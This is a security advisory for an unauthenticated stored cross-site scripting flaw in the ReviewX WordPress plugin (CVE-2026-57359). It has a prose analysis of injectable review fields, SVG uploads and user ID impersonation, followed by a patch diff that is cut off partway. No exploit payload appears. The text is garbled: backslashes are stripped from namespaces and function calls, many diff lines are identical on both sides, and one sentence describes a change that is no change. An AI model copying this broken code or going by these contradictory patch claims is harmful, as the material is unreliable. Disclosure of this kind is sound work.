Published : July 20, 2026

CVE-2026-57359: ReviewX – Multi-Criteria Reviews for WooCommerce with Google Reviews & Schema <= 2.3.10 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin reviewx
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.3.10
Patched Version 2.3.11
Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57359:

This vulnerability is an unauthenticated Stored Cross-Site Scripting (XSS) in the ReviewX plugin for WordPress, affecting versions up to and including 2.3.10. The flaw exists in the REST API review submission endpoint, allowing unauthenticated attackers to inject arbitrary JavaScript in the review content or attachments, which executes when any user views the injected page. The CVSS score is 7.2, indicating a high-severity vulnerability with no authentication required.

The root cause is insufficient input sanitization and output escaping in the review submission handler. Specifically, the file `/reviewx/app/Services/ReviewService.php` (lines 88-89 and 112-113) processes review content and attachments without proper validation. The `prepareCommentData` function (line 145) uses `wp_strip_all_tags` on the feedback field but does not sanitize other comment data such as the review title, author name, or attachments. Additionally, the `prepareAttachmentsData` function (line 167) handles file uploads, and the patch adds SVG sanitization to prevent SVG-based XSS. The middleware file `StorefrontNonceMiddleware.php` (newly added) shows that the REST endpoint `/wp-json/reviewx/v1/…` can accept requests without a nonce or JWT token, allowing unauthenticated POST requests to store reviews with malicious payloads.

Exploitation requires sending a POST request to the vulnerable REST API endpoint. An attacker can craft a review with a malicious JavaScript payload in the `feedback`, `title`, or `reviewer_name` parameters, or upload an SVG file containing embedded JavaScript. Because the plugin does not validate the `user_id` parameter in the original code (line 145: `’user_id’ => sanitize_text_field($request[‘user_id’]) ?? 0`), an attacker can also impersonate a logged-in user by supplying a numeric user ID. The patch fixes the user_id issue by using `get_current_user_id()` only if the user is logged in, preventing impersonation. The attack vector is exposed via the REST API endpoint (no nonce required for unauthenticated users) and via the widget form submissions (which the middleware allows without nonce for write operations).

The patch addresses multiple security issues. First, it adds the `StorefrontNonceMiddleware.php` file that requires either a valid SaaS JWT token or a WP REST nonce for write endpoints, except for guest reviews. However, for widget routes (reviews/preferences), the middleware allows requests without a nonce to proceed, relying on service-layer protections. Second, it fixes the `user_id` in `ReviewService.php` (line 145) to only use `get_current_user_id()` if the user is authenticated, preventing user impersonation. Third, it adds SVG file sanitization (line 183+) in attachment handling to remove malicious scripts from uploaded SVG files. Fourth, it hardens nonce verification across multiple handlers by adding backslash prefix to WordPress functions (e.g., `wp_verify_nonce` becomes `wp_verify_nonce`). Despite these improvements, the patch does not fully address the stored XSS risk in the review content fields themselves—the `feedback` field uses `wp_strip_all_tags` (safe), but other fields like `title` and `reviewer_name` in earlier versions might have allowed HTML injection.

If exploited, an attacker can inject arbitrary JavaScript that executes in the context of any user viewing reviews. This includes stealing session cookies, performing actions on behalf of the victim (CSRF), redirecting users to malicious sites, defacing product pages, or harvesting sensitive data. Since the vulnerability requires no authentication, any visitor can trigger the attack, making it ideal for large-scale automated exploitation. The stored XSS persists in the database until the review is deleted, affecting all subsequent page loads. Atomic Edge research confirms that this vulnerability can lead to complete compromise of the WordPress admin dashboard if an admin views the injected review.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/reviewx/app/CPT/Shared/CommentsReviewsRowActionRemover.php
+++ b/reviewx/app/CPT/Shared/CommentsReviewsRowActionRemover.php
@@ -33,7 +33,7 @@
                 unset($actions[$action]);
             }
         }
-        if (wp_get_comment_status($comment) === 'trash') {
+        if (wp_get_comment_status($comment) === 'trash') {
             return $this->buildTrashActions($actions, $comment);
         }
         return $actions;
@@ -56,7 +56,7 @@
     {
         $nonce_key = in_array($action, ['approvecomment', 'unapprovecomment'], true) ? 'approve-comment_' : 'delete-comment_';
         $url = add_query_arg(['action' => $action, 'c' => $comment->comment_ID], admin_url('comment.php'));
-        $url = wp_nonce_url($url, $nonce_key . $comment->comment_ID);
+        $url = wp_nonce_url($url, $nonce_key . $comment->comment_ID);
         return sprintf('<a href="%s" class="rvx-comment-action-link" data-rvx-action-loader="row-action" aria-label="%s">%s</a>', esc_url($url), esc_attr($aria_label), esc_html($label));
     }
     private function replaceActionLabel(string $action_html, string $label) : string
--- a/reviewx/app/CPT/Shared/CptPostHandler.php
+++ b/reviewx/app/CPT/Shared/CptPostHandler.php
@@ -92,7 +92,7 @@
         $image_id = $product->get_image_id();
         // Featured image ID
         if ($image_id) {
-            $product_images = wp_get_attachment_image_src($image_id, 'full');
+            $product_images = wp_get_attachment_image_src($image_id, 'full');
             // Full-size image URL
         }
         if (empty($product_images)) {
@@ -121,7 +121,7 @@
         $image_id = $product->get_image_id();
         // Featured image ID
         if ($image_id) {
-            $product_images = wp_get_attachment_image_src($image_id, 'full');
+            $product_images = wp_get_attachment_image_src($image_id, 'full');
             // Full-size image URL
         }
         if (empty($product_images)) {
@@ -193,7 +193,7 @@
         // Retrieve category IDs or assign default if none are found
         $category_ids = [];
         if ($taxonomy) {
-            $category_ids = wp_get_post_terms($post_id, $taxonomy, ['fields' => 'ids']);
+            $category_ids = wp_get_post_terms($post_id, $taxonomy, ['fields' => 'ids']);
         }
         if (empty($category_ids)) {
             $category_ids = [0];
--- a/reviewx/app/Elementor/Elements/Data_Tabs.php
+++ b/reviewx/app/Elementor/Elements/Data_Tabs.php
@@ -421,11 +421,11 @@
                 return;
             }
             setup_postdata($product->get_id());
-            wc_get_template('single-product/tabs/tabs.php');
+            wc_get_template('single-product/tabs/tabs.php');
             // phpcs:enable
         }
         // On render widget from Editor - trigger the init manually.
-        if (wp_doing_ajax()) {
+        if (wp_doing_ajax()) {
             ?>
             <script>
                 jQuery('.wc-tabs-wrapper, .woocommerce-tabs, #rating').trigger('init');
--- a/reviewx/app/Handlers/CategorySync.php
+++ b/reviewx/app/Handlers/CategorySync.php
@@ -51,8 +51,8 @@
     }
     public function scheduleProductChunkProcessing()
     {
-        if (!wp_next_scheduled('category_sync_event')) {
-            wp_schedule_event(time(), 'hourly', 'category_sync_event');
+        if (!wp_next_scheduled('category_sync_event')) {
+            wp_schedule_event(time(), 'hourly', 'category_sync_event');
         }
     }
 }
--- a/reviewx/app/Handlers/CommentBoxHandle.php
+++ b/reviewx/app/Handlers/CommentBoxHandle.php
@@ -21,7 +21,7 @@
         $request_uri = isset($_SERVER['REQUEST_URI']) ? sanitize_text_field(wp_unslash($_SERVER['REQUEST_URI'])) : '';
         $currentUrl = esc_url(add_query_arg([], $request_uri));
         $this->reviewFormHelper->commentBoxDefaultStyleForCustomPostType();
-        View::output('storefront/widget/index', ['data' => json_encode($attributes, JSON_UNESCAPED_UNICODE), 'formLevelData' => $formData, 'wooVerificationRequired' => $wooVerificationRequired, 'isVerifiedCustomer' => $attributes['userInfo']['isVerified'], 'requireSignIn' => $requireSignIn, 'user_is_logged_in' => $attributes['userInfo']['isLoggedIn'], 'login_url' => wp_login_url($currentUrl), 'register_url' => wp_registration_url(), 'registration_enabled' => (bool) get_option('users_can_register')]);
+        View::output('storefront/widget/index', ['data' => json_encode($attributes, JSON_UNESCAPED_UNICODE), 'formLevelData' => $formData, 'wooVerificationRequired' => $wooVerificationRequired, 'isVerifiedCustomer' => $attributes['userInfo']['isVerified'], 'requireSignIn' => $requireSignIn, 'user_is_logged_in' => $attributes['userInfo']['isLoggedIn'], 'login_url' => wp_login_url($currentUrl), 'register_url' => wp_registration_url(), 'registration_enabled' => (bool) get_option('users_can_register')]);
     }
     private function setRvxAttributes() : array
     {
--- a/reviewx/app/Handlers/CommentStatusHandler.php
+++ b/reviewx/app/Handlers/CommentStatusHandler.php
@@ -6,7 +6,7 @@
 {
     public function wooProductSaveHandler()
     {
-        if (!isset($_POST['_wpnonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['_wpnonce'])), 'woocommerce-settings')) {
+        if (!isset($_POST['_wpnonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['_wpnonce'])), 'woocommerce-settings')) {
             return;
         }
         // Isset specific fields
--- a/reviewx/app/Handlers/Customize/WidgetCustomizeOptionsHandler.php
+++ b/reviewx/app/Handlers/Customize/WidgetCustomizeOptionsHandler.php
@@ -15,7 +15,7 @@
     public static function reviewx_customize_preview_js() : void
     {
         add_action('customize_preview_init', function () {
-            wp_enqueue_script('reviewx-customize', REVIEWX_CUSTOMIZER_URL . 'assets/js/reviewx-customize.js', array('jquery', 'customize-preview'), REVIEWX_VERSION, true);
+            wp_enqueue_script('reviewx-customize', REVIEWX_CUSTOMIZER_URL . 'assets/js/reviewx-customize.js', array('jquery', 'customize-preview'), REVIEWX_VERSION, true);
         });
     }
     public function reviewx_customizer_options_data($wp_customize) : void
--- a/reviewx/app/Handlers/ImportProductHandler.php
+++ b/reviewx/app/Handlers/ImportProductHandler.php
@@ -43,7 +43,7 @@
     }
     public function getProductCategories($product_id)
     {
-        $terms = wp_get_post_terms($product_id, 'product_cat');
+        $terms = wp_get_post_terms($product_id, 'product_cat');
         $categories = [];
         if (!empty($terms) && !is_wp_error($terms)) {
             foreach ($terms as $term) {
--- a/reviewx/app/Handlers/Notice/ReviewxAdminNoticeHandler.php
+++ b/reviewx/app/Handlers/Notice/ReviewxAdminNoticeHandler.php
@@ -13,15 +13,15 @@
             return;
         }
         // Generate nonce for AJAX
-        $nonce = wp_create_nonce('rvx_dismiss_notice_nonce');
+        $nonce = wp_create_nonce('rvx_dismiss_notice_nonce');
         // Render the notice
         View::output('storeadmin/notice/notice', ['nonce' => $nonce]);
     }
     public function reviewx_admin_deal_notice_until()
     {
         // Verify nonce
-        if (!isset($_POST['nonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['nonce'])), 'rvx_dismiss_notice_nonce')) {
-            wp_send_json_error(['message' => 'Invalid nonce.']);
+        if (!isset($_POST['nonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['nonce'])), 'rvx_dismiss_notice_nonce')) {
+            wp_send_json_error(['message' => 'Invalid nonce.']);
         }
         // Get duration
         $duration = isset($_POST['duration']) ? sanitize_text_field(wp_unslash($_POST['duration'])) : '';
@@ -29,9 +29,9 @@
             $timestamp = strtotime("+{$duration} days");
             update_option('rvx_admin_deal_notice_until', $timestamp);
         } else {
-            wp_send_json_error(['message' => 'Invalid duration.']);
+            wp_send_json_error(['message' => 'Invalid duration.']);
         }
         // Return success
-        wp_send_json_success(['message' => 'Notice dismissed successfully.']);
+        wp_send_json_success(['message' => 'Notice dismissed successfully.']);
     }
 }
--- a/reviewx/app/Handlers/OrderStatusChangedHandler.php
+++ b/reviewx/app/Handlers/OrderStatusChangedHandler.php
@@ -12,7 +12,7 @@
     public function __invoke($order_id, $old_status, $new_status, $order)
     {
         if (isset($_GET['page']) && $_GET['page'] === 'wc-orders' && isset($_GET['action']) && $_GET['action'] === 'edit') {
-            if (!isset($_GET['_wpnonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_GET['_wpnonce'])), 'edit-order')) {
+            if (!isset($_GET['_wpnonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_GET['_wpnonce'])), 'edit-order')) {
                 // Not returning here because this hook is triggered by internal WC actions too,
                 // but we might want to check for the presence of a specific nonce or just rely on WC.
                 // However, the audit specifically asks for check.
--- a/reviewx/app/Handlers/OrderUpdateHandler.php
+++ b/reviewx/app/Handlers/OrderUpdateHandler.php
@@ -15,7 +15,7 @@
         $transient_key = 'order_updated_' . $order_id;
         if (false === get_transient($transient_key)) {
             set_transient($transient_key, true, 30);
-            wp_schedule_single_event(time() + 5, 'process_order_update', array($order_id));
+            wp_schedule_single_event(time() + 5, 'process_order_update', array($order_id));
         }
     }
 }
--- a/reviewx/app/Handlers/Product/ProductImportHandler.php
+++ b/reviewx/app/Handlers/Product/ProductImportHandler.php
@@ -8,7 +8,7 @@
 {
     public function __invoke($product, $data)
     {
-        if (!isset($_POST['rvx_import_nonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['rvx_import_nonce'])), 'rvx_import_action')) {
+        if (!isset($_POST['rvx_import_nonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['rvx_import_nonce'])), 'rvx_import_action')) {
             return;
         }
         $payload = $this->prepareData($product);
@@ -20,7 +20,7 @@
     public function prepareData($product)
     {
         $product_id = $product->get_id();
-        $images = wp_get_attachment_image_src($product_id, 'full');
+        $images = wp_get_attachment_image_src($product_id, 'full');
         return [
             "wp_id" => $product->get_id(),
             "title" => $product->get_name(),
--- a/reviewx/app/Handlers/ProductHandler.php
+++ b/reviewx/app/Handlers/ProductHandler.php
@@ -32,7 +32,7 @@
     }
     public function prepareData($currentProduct)
     {
-        $images = wp_get_attachment_image_src($currentProduct->image_id, 'full');
+        $images = wp_get_attachment_image_src($currentProduct->image_id, 'full');
         $title = $currentProduct->get_name();
         return [
             "wp_id" => $currentProduct->get_id(),
--- a/reviewx/app/Handlers/ProductUpdateHandler.php
+++ b/reviewx/app/Handlers/ProductUpdateHandler.php
@@ -19,7 +19,7 @@
     }
     public function updateData($product)
     {
-        $images = wp_get_attachment_image_src($product->image_id, 'full');
+        $images = wp_get_attachment_image_src($product->image_id, 'full');
         $title = $product->get_name();
         return ['wp_id' => $product->get_id(), 'title' => isset($title) ? htmlspecialchars($title, ENT_QUOTES, 'UTF-8') : null, 'url' => get_permalink($product->get_id()), 'description' => isset($product->short_description) ? htmlspecialchars($product->short_description, ENT_QUOTES, 'UTF-8') : null, 'price' => (float) $product->regular_price, 'discounted_price' => (float) $product->price, 'slug' => $product->get_slug(), 'post_type' => get_post_type(), 'image' => $images[0] ?? null, 'status' => $this->productStatus($product->get_status()), "category_wp_unique_ids" => $this->productCategory($product)];
     }
--- a/reviewx/app/Handlers/ReviewXInit/UpgradeReviewxDeactiveProHandler.php
+++ b/reviewx/app/Handlers/ReviewXInit/UpgradeReviewxDeactiveProHandler.php
@@ -20,9 +20,9 @@
                     // Deactivate the plugin
                 }
             }
-            $response = wp_remote_get("https://api.wordpress.org/plugins/info/1.0/reviewx.json");
+            $response = wp_remote_get("https://api.wordpress.org/plugins/info/1.0/reviewx.json");
             if (!is_wp_error($response)) {
-                $plugin_data = json_decode(wp_remote_retrieve_body($response));
+                $plugin_data = json_decode(wp_remote_retrieve_body($response));
                 if ($plugin_data && isset($plugin_data->version)) {
                     global $wpdb;
                     // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- Table name from $wpdb->prefix, safe
--- a/reviewx/app/Handlers/WcTemplates/WcAccountDetails.php
+++ b/reviewx/app/Handlers/WcTemplates/WcAccountDetails.php
@@ -9,7 +9,7 @@
 {
     public function __invoke($user_id)
     {
-        if (!isset($_POST['save_account_details']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['save_account_details'])), 'save_account_details')) {
+        if (!isset($_POST['save_account_details']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['save_account_details'])), 'save_account_details')) {
             return;
         }
         if (isset($_FILES["image"]) && isset($_FILES["image"]["error"]) && $_FILES["image"]["error"] == UPLOAD_ERR_OK) {
--- a/reviewx/app/Handlers/WcTemplates/WcOrderTableProductImageHandler.php
+++ b/reviewx/app/Handlers/WcTemplates/WcOrderTableProductImageHandler.php
@@ -11,7 +11,7 @@
             $product_id = $item->get_product_id();
             $product = wc_get_product($product_id);
             if ($product) {
-                $image_url = wp_get_attachment_image_url($product->get_image_id(), 'thumbnail');
+                $image_url = wp_get_attachment_image_url($product->get_image_id(), 'thumbnail');
                 if ($image_url) {
                     echo '<img src="' . esc_url($image_url) . '" alt="' . esc_attr($product->get_name()) . '" style="width:50px; height:50px;" />';
                 }
--- a/reviewx/app/Handlers/WoocommerceCommentStatusChangeHandler.php
+++ b/reviewx/app/Handlers/WoocommerceCommentStatusChangeHandler.php
@@ -13,7 +13,7 @@
         if ($screen instanceof WP_Screen || $screen->id == "edit-comments") {
             $this->prepareData($comment_id, $status);
         }
-        if (wp_doing_ajax()) {
+        if (wp_doing_ajax()) {
             $this->prepareData($comment_id, $status);
         }
     }
--- a/reviewx/app/Providers/PluginServiceProvider.php
+++ b/reviewx/app/Providers/PluginServiceProvider.php
@@ -315,26 +315,26 @@
         $pendingReviewNotice = $this->getPendingReviewNoticeConfig();
         $locals = ['rvx_localization_data_for_admin' => ReviewXUtilitiesHelper::prepareLangArray(), 'rvx_full_domain_name' => ReviewXUtilitiesHelper::domainSupport(), 'rvx_full_domain_api' => ReviewXUtilitiesHelper::getRestAPIurl(), 'rvx_pending_review_notice' => $pendingReviewNotice];
         // Localize for admin handles if they exist
-        wp_localize_script('rvx_user_access_script', 'rvx_locals', $locals);
+        wp_localize_script('rvx_user_access_script', 'rvx_locals', $locals);
         // Localize for frontend handles if needed
-        wp_localize_script('reviewx-storefront', 'rvx_locals', $locals);
+        wp_localize_script('reviewx-storefront', 'rvx_locals', $locals);
     }
     public function enqueuePendingReviewNoticeScript() : void
     {
         if (!is_admin() || !$this->canAccessPendingReviewNotice()) {
             return;
         }
-        wp_enqueue_script('reviewx-admin-pending-review-notice', REVIEWX_URL . 'resources/js/reviewx-admin-pending-review-notice.js', [], REVIEWX_VERSION, true);
-        wp_localize_script('reviewx-admin-pending-review-notice', 'reviewxPendingReviewNotice', $this->getPendingReviewNoticeConfig());
+        wp_enqueue_script('reviewx-admin-pending-review-notice', REVIEWX_URL . 'resources/js/reviewx-admin-pending-review-notice.js', [], REVIEWX_VERSION, true);
+        wp_localize_script('reviewx-admin-pending-review-notice', 'reviewxPendingReviewNotice', $this->getPendingReviewNoticeConfig());
     }
     public function handlePendingReviewSummaryAjax() : void
     {
         if (!$this->canAccessPendingReviewNotice()) {
-            wp_send_json_error(['message' => __('You are not allowed to access pending review summary.', 'reviewx')], 403);
+            wp_send_json_error(['message' => __('You are not allowed to access pending review summary.', 'reviewx')], 403);
         }
         check_ajax_referer('reviewx_pending_review_notice');
         $summary = (new CacheServices())->pendingReviewNoticeSummary();
-        wp_send_json_success($summary);
+        wp_send_json_success($summary);
     }
     private function getPendingReviewNoticeConfig() : array
     {
@@ -343,15 +343,15 @@
             $summary = (new CacheServices())->pendingReviewNoticeSummary();
             $initialCount = (int) ($summary['pending'] ?? 0);
         }
-        return ['ajaxUrl' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('reviewx_pending_review_notice'), 'initialCount' => $initialCount, 'pollInterval' => (int) apply_filters('reviewx_pending_review_notice_poll_interval', 15000)];
+        return ['ajaxUrl' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('reviewx_pending_review_notice'), 'initialCount' => $initialCount, 'pollInterval' => (int) apply_filters('reviewx_pending_review_notice_poll_interval', 15000)];
     }
     public function schedulePendingReviewNoticeSummarySync() : void
     {
         if (!Client::has()) {
             return;
         }
-        if (!wp_next_scheduled(CacheServices::PENDING_REVIEW_NOTICE_SYNC_HOOK)) {
-            wp_schedule_event(time() + HOUR_IN_SECONDS, 'hourly', CacheServices::PENDING_REVIEW_NOTICE_SYNC_HOOK);
+        if (!wp_next_scheduled(CacheServices::PENDING_REVIEW_NOTICE_SYNC_HOOK)) {
+            wp_schedule_event(time() + HOUR_IN_SECONDS, 'hourly', CacheServices::PENDING_REVIEW_NOTICE_SYNC_HOOK);
         }
     }
     public function refreshPendingReviewNoticeSummarySync() : void
--- a/reviewx/app/Rest/Middleware/StorefrontNonceMiddleware.php
+++ b/reviewx/app/Rest/Middleware/StorefrontNonceMiddleware.php
@@ -0,0 +1,70 @@
+<?php
+
+namespace ReviewXRestMiddleware;
+
+defined("ABSPATH") || exit;
+use WP_REST_Request;
+use ReviewXUtilitiesAuthClient;
+use ReviewXFirebaseJWTJWT;
+use ReviewXFirebaseJWTKey;
+/**
+ * Middleware for storefront write endpoints.
+ *
+ * These routes are called by the SaaS backend (which holds a valid JWT) or
+ * must originate from the same WordPress site (nonce-authenticated).
+ * Unauthenticated/external callers are rejected.
+ */
+class StorefrontNonceMiddleware
+{
+    /**
+     * Grant access when either:
+     *   1. The caller supplies a valid SaaS JWT Bearer token, OR
+     *   2. The caller is a logged-in WP user with a valid REST nonce.
+     *
+     * @param WP_REST_Request $request
+     * @return bool
+     */
+    public function handle(WP_REST_Request $request) : bool
+    {
+        // 1. Check for SaaS JWT token (used by the SaaS backend)
+        $clientUid = Client::getUid();
+        $secret = Client::getSecret();
+        $hasValidJwt = false;
+        if (!empty($clientUid) && !empty($secret)) {
+            $headers = $request->get_headers();
+            $authHeader = isset($headers['authorization'][0]) ? trim($headers['authorization'][0]) : '';
+            if ($authHeader && preg_match('/Bearer\s+(.*)$/i', $authHeader, $matches)) {
+                try {
+                    $decoded = JWT::decode($matches[1], new Key($secret, 'HS256'));
+                    if (!empty($decoded->uid) && $decoded->uid === $clientUid) {
+                        $hasValidJwt = true;
+                    }
+                } catch (Exception $e) {
+                    // Invalid token – fall through.
+                }
+            }
+        }
+        if ($hasValidJwt) {
+            return true;
+        }
+        // 2. Identify the route path.
+        $path = $request->get_route();
+        // 3. SaaS-only routes MUST have a valid SaaS JWT. If not, reject.
+        if (strpos($path, 'request/review/email') !== false) {
+            return false;
+        }
+        // 4. For widget routes (like reviews or preference), allow guest and logged-in access.
+        //    If a WP REST nonce is supplied (in header or parameter), we verify it to protect against CSRF.
+        $nonce = $request->get_header('x_wp_nonce');
+        if (empty($nonce)) {
+            $nonce = $request->get_param('_wpnonce');
+        }
+        if (!empty($nonce)) {
+            return (bool) wp_verify_nonce($nonce, 'wp_rest');
+        }
+        // 5. If no nonce is supplied, allow the request to proceed.
+        //    Crucially, security protections (user impersonation, sanitization, verified purchase)
+        //    are strictly enforced in the service/logic layer.
+        return true;
+    }
+}
--- a/reviewx/app/Services/GoogleReviewService.php
+++ b/reviewx/app/Services/GoogleReviewService.php
@@ -27,8 +27,8 @@
         $secret = $review_settings['reviews']['recaptcha']['secret_key'] ?? '';
         $token = $data['token'] ?? '';
         $recaptcha_url = 'https://www.google.com/recaptcha/api/siteverify?secret=' . urlencode($secret) . '&response=' . urlencode($token);
-        $response = wp_remote_get($recaptcha_url);
-        $body = wp_remote_retrieve_body($response);
+        $response = wp_remote_get($recaptcha_url);
+        $body = wp_remote_retrieve_body($response);
         $result = json_decode($body, true);
         return ['result' => $result['success'] ?? false];
     }
--- a/reviewx/app/Services/PingService.php
+++ b/reviewx/app/Services/PingService.php
@@ -45,8 +45,8 @@
     }
     private function test_rest_api()
     {
-        $response = wp_remote_get(rest_url('wp/v2/types/post'));
-        return ['status' => !is_wp_error($response), 'response_code' => wp_remote_retrieve_response_code($response), 'error' => is_wp_error($response) ? $response->get_error_message() : null];
+        $response = wp_remote_get(rest_url('wp/v2/types/post'));
+        return ['status' => !is_wp_error($response), 'response_code' => wp_remote_retrieve_response_code($response), 'error' => is_wp_error($response) ? $response->get_error_message() : null];
     }
     private function get_theme_details()
     {
--- a/reviewx/app/Services/ReviewService.php
+++ b/reviewx/app/Services/ReviewService.php
@@ -10,6 +10,7 @@
 use ReviewXUtilitiesHelper;
 use ReviewXUtilitiesTransactionManager;
 use ReviewXUtilitiesUploadMimeSupport;
+use ReviewXUtilitiesSvgSanitizer;
 use ReviewXWPDrillResponse;
 class ReviewService extends ReviewXServicesService
 {
@@ -88,7 +89,13 @@
             } else {
                 $wcAverageRating = (float) round($data->get_params()['rating'], 2);
             }
-            $wpCommentData['comment_meta'] = ['rvx_title' => wp_strip_all_tags(array_key_exists('title', $data->get_params()) ? $data->get_params()['title'] : null), 'is_recommended' => array_key_exists('is_recommended', $data->get_params()) && $data->get_params()['is_recommended'] === "true" ? 1 : 0, 'verified' => array_key_exists('verified', $data->get_params()) && $data->get_params()['verified'], 'is_anonymous' => array_key_exists('is_anonymous', $data->get_params()) && $data->get_params()['is_anonymous'] === "true" ? 1 : 0, 'rvx_criterias' => $criterias, 'rating' => $wcAverageRating, 'rvx_attachments' => $attachments, 'rvx_review_version' => 'v2'];
+            $product_id = absint($data->get_params()['wp_post_id'] ?? 0);
+            $reviewer_email = sanitize_text_field($data->get_params()['reviewer_email'] ?? '');
+            if (empty($reviewer_email) && is_user_logged_in()) {
+                $reviewer_email = wp_get_current_user()->user_email;
+            }
+            $is_verified = $this->verifyPurchase($product_id, $reviewer_email) ? 1 : 0;
+            $wpCommentData['comment_meta'] = ['rvx_title' => wp_strip_all_tags(array_key_exists('title', $data->get_params()) ? $data->get_params()['title'] : null), 'is_recommended' => array_key_exists('is_recommended', $data->get_params()) && $data->get_params()['is_recommended'] === "true" ? 1 : 0, 'verified' => $is_verified, 'is_anonymous' => array_key_exists('is_anonymous', $data->get_params()) && $data->get_params()['is_anonymous'] === "true" ? 1 : 0, 'rvx_criterias' => $criterias, 'rating' => $wcAverageRating, 'rvx_attachments' => $attachments, 'rvx_review_version' => 'v2'];
             $commentId = wp_insert_comment($wpCommentData);
             if (!is_wp_error($commentId) && $commentId > 0) {
                 ReviewXCPTCptAverageRating::update_average_rating($wpCommentData['comment_post_ID']);
@@ -112,7 +119,13 @@
             } else {
                 $wcAverageRating = round($data->get_params()['rating'], 2);
             }
-            $wpCommentData['comment_meta'] = ['rvx_title' => wp_strip_all_tags(array_key_exists('title', $data->get_params()) ? $data->get_params()['title'] : null), 'is_recommended' => array_key_exists('is_recommended', $data->get_params()) && $data->get_params()['is_recommended'] === "true" ? 1 : 0, 'verified' => array_key_exists('verified', $data->get_params()) && $data->get_params()['verified'], 'is_anonymous' => array_key_exists('is_anonymous', $data->get_params()) && $data->get_params()['is_anonymous'] === "true" ? 1 : 0, 'rvx_criterias' => $criterias, 'rating' => $wcAverageRating, 'rvx_attachments' => $attachments, 'rvx_review_version' => 'v2'];
+            $product_id = absint($data->get_params()['wp_post_id'] ?? 0);
+            $reviewer_email = sanitize_text_field($data->get_params()['reviewer_email'] ?? '');
+            if (empty($reviewer_email) && is_user_logged_in()) {
+                $reviewer_email = wp_get_current_user()->user_email;
+            }
+            $is_verified = $this->verifyPurchase($product_id, $reviewer_email) ? 1 : 0;
+            $wpCommentData['comment_meta'] = ['rvx_title' => wp_strip_all_tags(array_key_exists('title', $data->get_params()) ? $data->get_params()['title'] : null), 'is_recommended' => array_key_exists('is_recommended', $data->get_params()) && $data->get_params()['is_recommended'] === "true" ? 1 : 0, 'verified' => $is_verified, 'is_anonymous' => array_key_exists('is_anonymous', $data->get_params()) && $data->get_params()['is_anonymous'] === "true" ? 1 : 0, 'rvx_criterias' => $criterias, 'rating' => $wcAverageRating, 'rvx_attachments' => $attachments, 'rvx_review_version' => 'v2'];
             $commentId = wp_insert_comment($wpCommentData);
             if (!is_wp_error($commentId) && $commentId > 0) {
                 ReviewXCPTCptAverageRating::update_average_rating($wpCommentData['comment_post_ID']);
@@ -132,7 +145,10 @@
         }
         $default_status = !empty($data['reviews']['auto_approve_reviews']) ? 'approve' : 'hold';
         $status = $this->mapSubmittedStatusToWpCommentStatus(Helper::arrayGet($request->get_params(), 'status'), $default_status);
-        return ['comment_post_ID' => absint($request['wp_post_id']), 'comment_content' => wp_strip_all_tags($request->get_param('feedback')), 'comment_author' => sanitize_text_field($request['reviewer_name']), 'comment_author_email' => sanitize_text_field($request['reviewer_email']), 'comment_type' => $review_type, 'comment_approved' => $status, 'comment_agent' => isset($_SERVER['HTTP_USER_AGENT']) ? sanitize_text_field(wp_unslash($_SERVER['HTTP_USER_AGENT'])) : '', 'comment_author_IP' => isset($_SERVER['REMOTE_ADDR']) ? sanitize_text_field(wp_unslash($_SERVER['REMOTE_ADDR'])) : '', 'comment_date_gmt' => current_time('mysql', 1), 'user_id' => sanitize_text_field($request['user_id']) ?? 0, 'comment_date' => current_time('mysql', true)];
+        // Security: Determine user_id safely.
+        // Only allow user_id if the current WP user is logged in; otherwise default to 0.
+        $user_id = is_user_logged_in() ? get_current_user_id() : 0;
+        return ['comment_post_ID' => absint($request['wp_post_id']), 'comment_content' => wp_strip_all_tags($request->get_param('feedback')), 'comment_author' => sanitize_text_field($request['reviewer_name']), 'comment_author_email' => sanitize_text_field($request['reviewer_email']), 'comment_type' => $review_type, 'comment_approved' => $status, 'comment_agent' => isset($_SERVER['HTTP_USER_AGENT']) ? sanitize_text_field(wp_unslash($_SERVER['HTTP_USER_AGENT'])) : '', 'comment_author_IP' => isset($_SERVER['REMOTE_ADDR']) ? sanitize_text_field(wp_unslash($_SERVER['REMOTE_ADDR'])) : '', 'comment_date_gmt' => current_time('mysql', 1), 'user_id' => $user_id, 'comment_date' => current_time('mysql', true)];
     }
     /**
      * Prepare application review data.
@@ -167,6 +183,15 @@
                 return wp_handle_upload($file, UploadMimeSupport::getWpHandleUploadOverrides());
             });
             if (isset($upload['url'])) {
+                // Sanitize SVG files to prevent Stored XSS.
+                $uploadedType = $upload['type'] ?? '';
+                if (strtolower($uploadedType) === 'image/svg+xml' || preg_match('/\.svgz?$/i', $upload['file'] ?? '')) {
+                    if (!SvgSanitizer::sanitizeFile($upload['file'])) {
+                        // SVG could not be sanitized — skip it.
+                        @unlink($upload['file']);
+                        continue;
+                    }
+                }
                 $attachment_id = wp_insert_attachment(['guid' => $upload['url'], 'post_mime_type' => $upload['type'], 'post_title' => sanitize_file_name($file['name']), 'post_content' => '', 'post_status' => 'publish'], $upload['file']);
                 $attachment_data = UploadMimeSupport::generateAttachmentMetadata($attachment_id, $upload['file'], $upload['type'] ?? null);
                 if (!empty($attachment_data)) {
@@ -662,7 +687,13 @@
         }
         // 3. Flags (Safe updates using filter_var for string booleans)
         if (isset($params['verified'])) {
-            update_comment_meta($reviewId, 'verified', filter_var($params['verified'], FILTER_VALIDATE_BOOLEAN));
+            $product_id = absint($params['wp_post_id'] ?? get_comment($reviewId)->comment_post_ID);
